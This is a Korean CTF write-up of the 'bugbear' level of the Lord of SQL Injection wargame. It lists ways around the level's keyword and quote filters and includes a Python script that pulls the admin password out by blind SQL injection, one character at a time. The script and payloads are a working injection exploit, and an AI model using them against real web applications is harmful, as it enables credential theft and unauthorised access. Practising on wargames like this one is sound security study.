WarGame/los(los.rubiya.kr)
los - bugbear
DoR@Hee
2019. 3. 26. 14:44
문제 첫화면
los - darkknight와 비슷한 문제 같지만
필터링이 좀 더 붙어있다.
1. substr >> mid, left, right 함수를 이용
2. ascii >> ord, hex 함수를 이용
3. = >> like, in, instr 함수를 이용
4. or >> ||
5. and >> &&
일단 쿼리문을 참값으로 만들기 위해서
"?no = 1 || instr(1,1)" 을 입력했다.
※instr 함수는
instr ( 전체문자열, 비교문자열 ) 전체문자열 에서 비교문자열이 존재하는지 비교, 존재하면 위치값을 반환하거나
참일경우 1 거짓일 경우0을 반환한다.
"Hello guest" 문자열을 확인 할 수 있다.
참일 경우
거짓일 경우
'(싱글쿼터)와 0x(헥스값)을 필터링 하고 있으니, char구문을 이용해서 id가 admin이 되는 쿼리를 만들고
admin에 pw길이를 알아내기 위해 instr(length(pw),8)을 입력 admin에 pw 길이가 8인걸 확인
ascii함수는 필터링 하고 있기 때문에 hex함수를 이용했고
이번에는 right(left))함수 보다는 mid함수를 이용했다. mid함수는 substr과 마찬가지로 문자열 비교 함수이다.
pw의 값이 hex값으로 35(5)인걸 확인
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | import requests cookies = {'PHPSESSID': 'eosu3pdsl0nmh6oel5922j8hc1'} for lengths in range(1, 30): length = 0 url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1%09||%09%09instr(id,char(97,100,109,105,110))%09%26%26%09instr(length(pw),{0})".format(lengths) res = requests.get(url, cookies=cookies) if "<h2>Hello admin</h2>" in res.text: print("=====================================") print("길이는{0}".format(lengths)) print("=====================================\n") length = lengths break else: continue for i in range(1, length + 1): for j in range(23, 127): result = [] url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1%09||%09%09instr(id,char(97,100,109,105,110))%09%26%26%09instr(hex(mid(pw,{0},1)),{1})".format(i, j) res = requests.get(url, cookies=cookies) if "<h2>Hello admin</h2>" in res.text: print("{0}".format(j)) break | cs |
지금까지 입력한 쿼리를 기반으로 파이썬 코드를 작성
나온 값을 hex값으로 변경해보면
"52dc3991"이 나오는대 입력하면
성공